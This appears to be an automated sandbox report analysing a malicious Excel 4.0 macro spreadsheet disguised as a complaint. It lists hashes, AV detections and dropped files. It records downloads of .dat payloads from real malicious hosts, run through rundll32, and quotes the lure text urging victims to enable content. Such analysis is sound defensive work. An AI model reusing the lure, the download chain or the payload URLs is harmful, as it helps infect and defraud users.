Analysis Report Complaint-1091191320-02182021.xls

ID:	356327
Product:	CloudBasic
Start time:	22:58:05
Start date:	22.02.2021
Sample:	Complaint-1091191320-02182021.xls
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	da47abb08bf5ab8ccd6dde8b8395585d
SHA1:	f4ffc845ceb85dee839ac85228ff410d9a01bd33
SHA256:	91b4e89cdfe2e0d0f29642b21d4035ee4201f99e24e5ec841d4c8bb73547cd78
Filetype:	Microsoft Excel sheet (30009/1) 78.94%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\C35819AA-F89D-426C-9CA4-8F8A37A7597D	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	0AB730FD435EA46EB7576D082C2E302C	D875163FDE2D51213C5828719E4AF80B50CC7071	EAC3AA950465565B206F4039DF3BB67129D1B3D8DBC377C86E02B4EFF429E5C8
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\suspendedpage[1].htm	HTML document, UTF-8 Unicode text, with CRLF line terminators	1C7833DA48979334A611F80C7C55F5E6	B302B4245452489C6241CE4358BD1F07BA4A6767	D0D92045526C516AFEC269826EB681EF55DF6353DD9D131BC58A1B19042B7C6C
C:\Users\user\AppData\Local\Temp\83910000	data	369659BCDB299454F358B01CCF23206F	E565E69D9257B29A6DDA833928FC98A559E2C3DC	93542189F45AF5704A1A7C00D20269735AC1E99492519DAB7C9EC5E497D6B20F
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Complaint-1091191320-02182021.xls.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:44 2020, mtime=Tue Feb 23 05:59:01 2021, atime=Tue Feb 23 05:59:01 2021, length=61952, window=hide	E7699CE896065A242ACF6C63CFDE6D48	2B800C89A49BC9350111253876EC2207E5F05C40	ACE10380E4ADD30EE3A6E89F4FB392706DF2DA520CA727D261DEEE32E940D09E
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Tue Feb 23 05:59:01 2021, atime=Tue Feb 23 05:59:01 2021, length=12288, window=hide	166929E380ED9B7306A5E7AF894C844E	278BF0353BBB6D0CCD388061EDECF081635C2BAE	15612116E356DA23C7867712598DDEEC7569D931D5FD730EB84550A862D2B01E
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	D06751BF66E09257B6EFE179C1F6EEBE	6814C3DA0B6C8BCC2DAF9C6FBF4A280B8C81A513	C08803BC05F67C1CC9F96207D81818E773052D28DCAD715BC00586FEA2C3D912
C:\Users\user\Desktop\24910000	Applesoft BASIC program data, first line number 16	A1209AE4245AFA2C3723727363A42545	4BF8BB135EBB67CC7E7B41A60CED57AAF6542025	7178D3AF24D571E93019603BBFC01C1DF08D87628C8620247EFACFB8BD87E7B2
C:\Users\user\JDFR.hdfgr1	HTML document, UTF-8 Unicode text, with CRLF line terminators	1C7833DA48979334A611F80C7C55F5E6	B302B4245452489C6241CE4358BD1F07BA4A6767	D0D92045526C516AFEC269826EB681EF55DF6353DD9D131BC58A1B19042B7C6C

AV Detection:

Antivirus detection for URL or domain

Source: http://7ruzezendegi.com/samsgtlfwzt/44249957660300900000.dat

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Complaint-1091191320-02182021.xls	Virustotal: Detection: 8%			Perma Link
Source: Complaint-1091191320-02182021.xls	Metadefender: Detection: 13%			Perma Link
Source: Complaint-1091191320-02182021.xls	ReversingLabs: Detection: 37%

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\rundll32.exe

Jump to behavior

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: dindorf.com.ar

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.3:49710 -> 181.88.192.136:80

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.3:49710 -> 181.88.192.136:80

Networking:

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 185.159.153.72 185.159.153.72
Source: Joe Sandbox View	IP Address: 181.88.192.136 181.88.192.136
Source: Joe Sandbox View	IP Address: 112.125.131.128 112.125.131.128

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /ntpnttfypqs/44249957660300900000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: dindorf.com.arConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /samsgtlfwzt/44249957660300900000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 7ruzezendegi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 7ruzezendegi.comConnection: Keep-Alive

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /ntpnttfypqs/44249957660300900000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: dindorf.com.arConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /samsgtlfwzt/44249957660300900000.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 7ruzezendegi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 7ruzezendegi.comConnection: Keep-Alive

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: dindorf.com.ar

Urls found in memory or binary data

Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: suspendedpage[1].htm.0.dr	String found in binary or memory: http://pars.host
Source: suspendedpage[1].htm.0.dr	String found in binary or memory: http://suspend.pars.host/css/css.css
Source: suspendedpage[1].htm.0.dr	String found in binary or memory: http://suspend.pars.host/image/logo.png
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.cortana.ai
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.office.net
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.onedrive.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://augloop.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cdn.entity.
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cortana.ai
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cortana.ai/api
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://cr.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://directory.services.
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://graph.windows.net
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://graph.windows.net/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://login.windows.local
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://management.azure.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://management.azure.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://messaging.office.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://officeapps.live.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://onedrive.live.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://outlook.office.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://settings.outlook.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://tasks.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: C35819AA-F89D-426C-9CA4-8F8A37A7597D.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

Found malicious Excel 4.0 Macro

Source: Complaint-1091191320-02182021.xls

Initial sample: urlmon

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11_ from the yellow bar above ) " 13 @ Once You have Enable Editing, please click
Source: Screenshot number: 4	Screenshot OCR: Enable Content 14_ from the yellow bar above 15 16 17 ,,_ WHY ICANNOT OPEN THIS DOCUMENT? 19
Source: Screenshot number: 8	Screenshot OCR: Enable Editing, please che 14_ from the yellow bar above O There was a problem starting ,,\jDFR.h
Source: Screenshot number: 12	Screenshot OCR: Enable Editing, please click Enc RunDLL x 14 from the yellow bar above 15 ,0 There was a pro&m
Source: Screenshot number: 16	Screenshot OCR: Enable Editing, please click Enable Content 14_ from the yellow bar above 15 16 17 ,, WHY I CAN
Source: Screenshot number: 16	Screenshot OCR: Enable Content 14_ from the yellow bar above 15 16 17 ,, WHY I CANNOT OPEN THIS DOCUMENT? 19
Source: Document image extraction number: 2	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 2	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8	Screenshot OCR: Enable Editing from the yellow bar above @Once You have Enable Editing, please click Enable Conten
